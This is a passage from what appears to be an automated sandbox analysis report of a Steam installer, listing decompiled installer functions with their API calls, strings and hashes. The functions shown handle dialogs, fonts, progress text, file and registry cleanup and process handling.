				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404bb5
0x00404bc2
0x00404bc8
0x00404c06
0x00404c06
0x00404c15
0x00404c1c
0x00000000
0x00404c1e
0x00404bca
0x00404bd9
0x00404be1
0x00404be4
0x00404bf6
0x00404bfc
0x00404c03
0x00000000
0x00404c03
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BC2
GetMessagePos.USER32 ref: 00404BCA
ScreenToClient.USER32 ref: 00404BE4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BF6
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C1C

Strings

f, xrefs: 00404BF8

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction ID: 45e0f6331f39cfe7836e80c9775163861a3897288b26a0b158bc224782e9bc0b
Opcode Fuzzy Hash: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction Fuzzy Hash: C9015271901218BAEB00DB94DD45FFEBBBCAF54711F10012BBA51B61D0C7B495018B54

Uniqueness

Uniqueness Score: -1.00%

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00401D56() {
				void* __esi;
				int _t7;
				signed char _t13;
				struct HFONT__* _t16;
				void* _t20;
				struct HDC__* _t26;
				void* _t28;
				void* _t30;

				_t26 = GetDC( *(_t30 - 0xc));
				_t7 = GetDeviceCaps(_t26, 0x5a);
				0x40cde0->lfHeight =  ~(MulDiv(E00402BA2(2), _t7, 0x48));
				ReleaseDC( *(_t30 - 0xc), _t26);
				 *0x40cdf0 = E00402BA2(3);
				_t13 =  *((intOrPtr*)(_t30 - 0x1c));
				 *0x40cdf7 = 1;
				 *0x40cdf4 = _t13 & 0x00000001;
				 *0x40cdf5 = _t13 & 0x00000002;
				 *0x40cdf6 = _t13 & 0x00000004;
				E004061A0(_t20, _t26, _t28, "MS Shell Dlg",  *((intOrPtr*)(_t30 - 0x28)));
				_t16 = CreateFontIndirectW(0x40cde0);
				_push(_t16);
				_push(_t28);
				E004060C5();
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401d5f
0x00401d66
0x00401d81
0x00401d86
0x00401d93
0x00401d98
0x00401da3
0x00401daa
0x00401dbc
0x00401dc2
0x00401dc7
0x00401dd1
0x00402531
0x00401565
0x004029f2
0x00402a4f
0x00402a5b

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32 ref: 00401D86
CreateFontIndirectW.GDI32(0040CDE0), ref: 00401DD1

Strings

MS Shell Dlg, xrefs: 00401DB7

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: MS Shell Dlg
API String ID: 3808545654-76309092
Opcode ID: 5a25ca78bc8c32752d7f72089744ea34f9941ea911f474610dde7174e3f6db02
Instruction ID: 9e8fd183d3d9d3ef172346538d4b27734d94fdc92d2c471f4f64b2fa811a60c8
Opcode Fuzzy Hash: 5a25ca78bc8c32752d7f72089744ea34f9941ea911f474610dde7174e3f6db02
Instruction Fuzzy Hash: F601A271544641EFEB016BB0AF4AF9A3F75BB65301F104579F152B61E2CA7C0006AB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402D04 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402D04(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00402D83();
					_t19 = L"unpacking data: %d%%";
					if( *0x42a250 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402d14
0x00402d22
0x00402d28
0x00402d28
0x00402d36
0x00402d38
0x00402d44
0x00402d49
0x00402d4b
0x00402d4b
0x00402d56
0x00402d66
0x00402d78
0x00402d78
0x00402d80

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
wsprintfW.USER32 ref: 00402D56
SetWindowTextW.USER32(?,?), ref: 00402D66
SetDlgItemTextW.USER32 ref: 00402D78

Strings

verifying installer: %d%%, xrefs: 00402D4B, 00402D54
unpacking data: %d%%, xrefs: 00402D44

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 3598370c3c9dfc29f84c7b8ed24a957720a686991d5537ef1c6dff233380f4e6
Instruction ID: 006a23aec332b8a1771af90dfa9c1e08c84c5b856183a3bf167901723993fe13
Opcode Fuzzy Hash: 3598370c3c9dfc29f84c7b8ed24a957720a686991d5537ef1c6dff233380f4e6
Instruction Fuzzy Hash: 2FF0367050020CABEF206F50DD49BEA3B69FF44305F00803AFA55B51D0DBF959558F59

Uniqueness

Uniqueness Score: -1.00%

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402840(void* __ebx) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0x48)) = 0xfffffd66;
				_t50 = E00402BBF(0xfffffff0);
				 *(_t56 - 0x38) = _t23;
				if(E00405BA9(_t50) == 0) {
					E00402BBF(0xffffffed);
				}
				E00405D2E(_t50);
				_t26 = E00405D53(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x42a254;
					 *(_t56 - 8) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E0040336E(_t45);
						E00403358(_t49,  *(_t56 - 8));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x24));
						 *(_t56 - 0x34) = _t54;
						if(_t54 != _t45) {
							E004030E7(_t47,  *((intOrPtr*)(_t56 - 0x28)), _t45, _t54,  *(_t56 - 0x24));
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x4c) =  *_t54;
								E00405D0E( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x4c);
							}
							GlobalFree( *(_t56 - 0x34));
						}
						E00405E05( *(_t56 + 8), _t49,  *(_t56 - 8));
						GlobalFree(_t49);
						 *((intOrPtr*)(_t56 - 0x48)) = E004030E7(_t47, 0xffffffff,  *(_t56 + 8), _t45, _t45);
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0x48)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileW( *(_t56 - 0x38));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x00402840
0x00402842
0x0040284e
0x00402851
0x0040285b
0x0040285f
0x0040285f
0x00402865
0x00402872
0x0040287a
0x0040287d
0x00402883
0x00402891
0x00402896
0x0040289a
0x0040289d
0x004028a6
0x004028b2
0x004028b6
0x004028b9
0x004028c3
0x004028e2
0x004028ca
0x004028cf
0x004028d7
0x004028da
0x004028df
0x004028df
0x004028e9
0x004028e9
0x004028f6
0x004028fc
0x0040290e
0x0040290e
0x00402914
0x00402914
0x0040291f
0x00402920
0x00402924
0x00402928
0x0040292e
0x0040292e
0x00402935
0x004021dc
0x00402a4f
0x00402a5b

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32 ref: 004028E9
GlobalFree.KERNEL32 ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 268536b817805fd7c6aa0ddf0c0313c96854f1d95891718e15f9d7c13f840f6f
Instruction ID: 9003099e8900d80eaa65f9bf21adae6f43ee9946aaa6f9d478ae9c17af360c06
Opcode Fuzzy Hash: 268536b817805fd7c6aa0ddf0c0313c96854f1d95891718e15f9d7c13f840f6f
Instruction Fuzzy Hash: D6216F72801118BBCF216FA5CE49D9E7F79EF09364F24423AF550762E0CB794E419B98

Uniqueness

Uniqueness Score: -1.00%

Function 0236103F Relevance: 9.1, APIs: 6, Instructions: 55
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0236103F(long _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16) {
				long _v8;
				int _v12;
				void* _v16;
				void* _t12;
				int _t13;
				intOrPtr* _t14;
				void* _t22;
				long _t23;

				_t23 = _a4;
				_t12 = OpenProcess(0x100401, 0, _t23);
				_t22 = _t12;
				if(_t22 == 0) {
					return _t12;
				}
				_v16 = _t23;
				_v12 = 0;
				if(_a8 == 0) {
					L7:
					_t13 = TerminateProcess(_t22, 0);
					_t14 = _a12;
					if(_t13 == 0) {
						_t14 = _a16;
					}
					L9:
					 *_t14 = 1;
					return CloseHandle(_t22);
				}
				EnumWindows(E02361007,  &_v16);
				if(_v12 == 0 || GetExitCodeProcess(_t22,  &_v8) != 0 && _v8 == 0x103 && WaitForSingleObject(_t22, 0xbb8) != 0) {
					goto L7;
				} else {
					_t14 = _a12;
					goto L9;
				}
			}

0x02361047
0x02361054
0x0236105a
0x0236105e
0x023610cf
0x023610cf
0x02361060
0x02361063
0x02361069
0x023610ac
0x023610ae
0x023610b6
0x023610b9
0x023610bb
0x023610bb
0x023610be
0x023610bf
0x00000000
0x023610c5
0x02361074
0x0236107d
0x00000000
0x023610a7
0x023610a7
0x00000000
0x023610a7

APIs

OpenProcess.KERNEL32(00100401,00000000,?,0000025E,?,00004000,?), ref: 02361054
EnumWindows.USER32(02361007,?), ref: 02361074
GetExitCodeProcess.KERNEL32 ref: 02361084
WaitForSingleObject.KERNEL32(00000000,00000BB8), ref: 0236109D
TerminateProcess.KERNEL32(00000000,00000000), ref: 023610AE
CloseHandle.KERNEL32(00000000), ref: 023610C5

Memory Dump Source

Source File: 00000005.00000002.443876527.0000000002361000.00000020.00000001.01000000.0000000E.sdmp, Offset: 02360000, based on PE: true

Associated: 00000005.00000002.443821469.0000000002360000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.443904007.0000000002362000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.443953532.0000000002364000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2360000_SteamSetup.jbxd

Similarity

API ID: Process$CloseCodeEnumExitHandleObjectOpenSingleTerminateWaitWindows
String ID:
API String ID: 3465249596-0
Opcode ID: a9fb9bfdc260df4d0a75e32088ca16b39cb4f84f7fd037d0beaa7e550dc9316b
Instruction ID: 24905138f44e7eca1d421ccecc50b8994dddf02630275926688c2d8f6bdec88d
Opcode Fuzzy Hash: a9fb9bfdc260df4d0a75e32088ca16b39cb4f84f7fd037d0beaa7e550dc9316b
Instruction Fuzzy Hash: D511AD75A00248EFEF109FA5D88CABF37BCEB41745F01C469F945E2208C3B08914CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00402537(int __ebx, void* __edx, intOrPtr* __esi) {
				signed int _t13;
				int _t16;
				int _t23;
				signed int _t28;
				intOrPtr* _t31;
				void* _t33;
				void* _t34;
				void* _t37;
				signed int _t39;

				_t31 = __esi;
				_t23 = __ebx;
				_t13 =  *(_t34 - 0x24);
				_t37 = __edx - 0x38;
				 *(_t34 - 0x34) = _t13;
				_t26 = 0 | _t37 == 0x00000000;
				_t28 = _t37 == 0;
				if(_t13 == __ebx) {
					if(__edx != 0x38) {
						_t16 = lstrlenW(E00402BBF(0x11)) + _t15;
					} else {
						E00402BBF(0x21);
						WideCharToMultiByte(__ebx, __ebx, "C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp", 0xffffffff, "C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp\System.dll", 0x400, __ebx, __ebx);
						_t16 = lstrlenA("C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp\System.dll");
					}
				} else {
					E00402BA2(1);
					 *0x40add8 = __ax;
				}
				 *(_t34 + 8) = _t16;
				if( *_t31 == _t23) {
					L13:
					 *((intOrPtr*)(_t34 - 4)) = 1;
				} else {
					_t33 = E004060DE(_t26, _t31);
					if((_t28 |  *(_t34 - 0x34)) != 0 ||  *((intOrPtr*)(_t34 - 0x20)) == _t23 || E00405E34(_t33, _t33) >= 0) {
						_t13 = E00405E05(_t33, "C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp\System.dll",  *(_t34 + 8));
						_t39 = _t13;
						if(_t39 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t34 - 4));
				return 0;
			}

0x00402537
0x00402537
0x00402537
0x0040253c
0x0040253f
0x00402542
0x00402547
0x00402549
0x00402565
0x004025a3
0x00402567
0x00402569
0x00402583
0x0040258e
0x0040258e
0x0040254b
0x0040254d
0x00402552
0x0040255f
0x004025a8
0x004025ab
0x0040281e
0x0040281e
0x004025b1
0x004025ba
0x004025bc
0x004025db
0x004015ac
0x004015ae
0x00000000
0x004015b4
0x00000000
0x00000000
0x00000000
0x004025bc
0x00402a4f
0x00402a5b

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5
C:\Users\user\AppData\Local\Temp\nsc3274.tmp, xrefs: 0040257C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsc3274.tmp$C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll
API String ID: 3109718747-739725149
Opcode ID: 9674d1326f11f89bf23c926dc430aeadc8163c92e49c9a6a8ad153ff0b83bdff
Instruction ID: 4789cac02ba757069cd1743e95fa376523a080456913a55bd7acca95e4ec0b97
Opcode Fuzzy Hash: 9674d1326f11f89bf23c926dc430aeadc8163c92e49c9a6a8ad153ff0b83bdff
Instruction Fuzzy Hash: CA11E772A01204BADB10AFB18F4EE9E32659F54355F20403BF502F65C1DAFC8E51576E

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402BFF(void* _a4, short* _a8, intOrPtr _a12) {
				void* _v8;
				short _v532;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExW(_a4, _a8, 0,  *0x42a2f0 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyW(_v8, 0,  &_v532, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402BFF(_v8,  &_v532, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00406558(3);
					if(_t27 == 0) {
						if( *0x42a2f0 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyW(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x42a2f0, 0);
				}
				return _t18;
			}

0x00402c20
0x00402c28
0x00402c50
0x00402c3a
0x00402c8a
0x00402c90
0x00000000
0x00402c92
0x00402c4e
0x00000000
0x00000000
0x00402c4e
0x00402c65
0x00402c6d
0x00402c74
0x00402ca0
0x00000000
0x00000000
0x00402ca8
0x00402cb0
0x00000000
0x00000000
0x00000000
0x00402cb0
0x00000000
0x00402c83
0x00402c97

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b379a38b382f3674851f683a1545770b769e1215edb99d074c526d7d0dba3b0f
Instruction ID: b9f5b7c8593eadded22e2ca3cbb8d83d08b5e31647f9888e60cfbaa55d101d4e
Opcode Fuzzy Hash: b379a38b382f3674851f683a1545770b769e1215edb99d074c526d7d0dba3b0f
Instruction Fuzzy Hash: 66116A71504119FFEF10AF90DF8CEAE3B79FB14384B10007AF905E11A0D7B58E55AA69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B32 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405B32(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405b33
0x00405b40
0x00405b41
0x00405b4c
0x00405b54
0x00405b54
0x00405b5c

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004033A3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00405B38
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004033A3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00405B42
lstrcatW.KERNEL32(?,0040A014), ref: 00405B54

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B32

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3916508600
Opcode ID: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction ID: 1c34604f245f66d13fb295c2dca74b2082213948d97efa3850964b8affffb698
Opcode Fuzzy Hash: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction Fuzzy Hash: 57D05E31101934AAC2116B448C04DDB73AC9E46304341442AF201B70A6C778695286FD

Uniqueness

Uniqueness Score: -1.00%

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00401E66() {
				void* _t16;
				long _t20;
				void* _t25;
				void* _t32;

				_t29 = E00402BBF(_t25);
				E004052DD(0xffffffeb, _t14);
				_t16 = E0040585E(_t29);
				 *(_t32 + 8) = _t16;
				if(_t16 == _t25) {
					 *((intOrPtr*)(_t32 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t32 - 0x24)) != _t25) {
						_t20 = WaitForSingleObject(_t16, 0x64);
						while(_t20 == 0x102) {
							E00406594(0xf);
							_t20 = WaitForSingleObject( *(_t32 + 8), 0x64);
						}
						GetExitCodeProcess( *(_t32 + 8), _t32 - 8);
						if( *((intOrPtr*)(_t32 - 0x28)) < _t25) {
							if( *(_t32 - 8) != _t25) {
								 *((intOrPtr*)(_t32 - 4)) = 1;
							}
						} else {
							E004060C5( *((intOrPtr*)(_t32 - 0x10)),  *(_t32 - 8));
						}
					}
					_push( *(_t32 + 8));
					CloseHandle();
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t32 - 4));
				return 0;
			}

0x00401e6c
0x00401e71
0x00401e77
0x00401e7e
0x00401e81
0x0040281e
0x00401e87
0x00401e8a
0x00401e95
0x00401eac
0x00401ea0
0x00401eaa
0x00401eaa
0x00401eb7
0x00401ec0
0x00401ed2
0x00401ed4
0x00401ed4
0x00401ec2
0x00401ec8
0x00401ec8
0x00401ec0
0x00401edb
0x00401ede
0x00401ede
0x00402a4f
0x00402a5b

APIs

Part of subcall function 004052DD: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\), ref: 0040534A
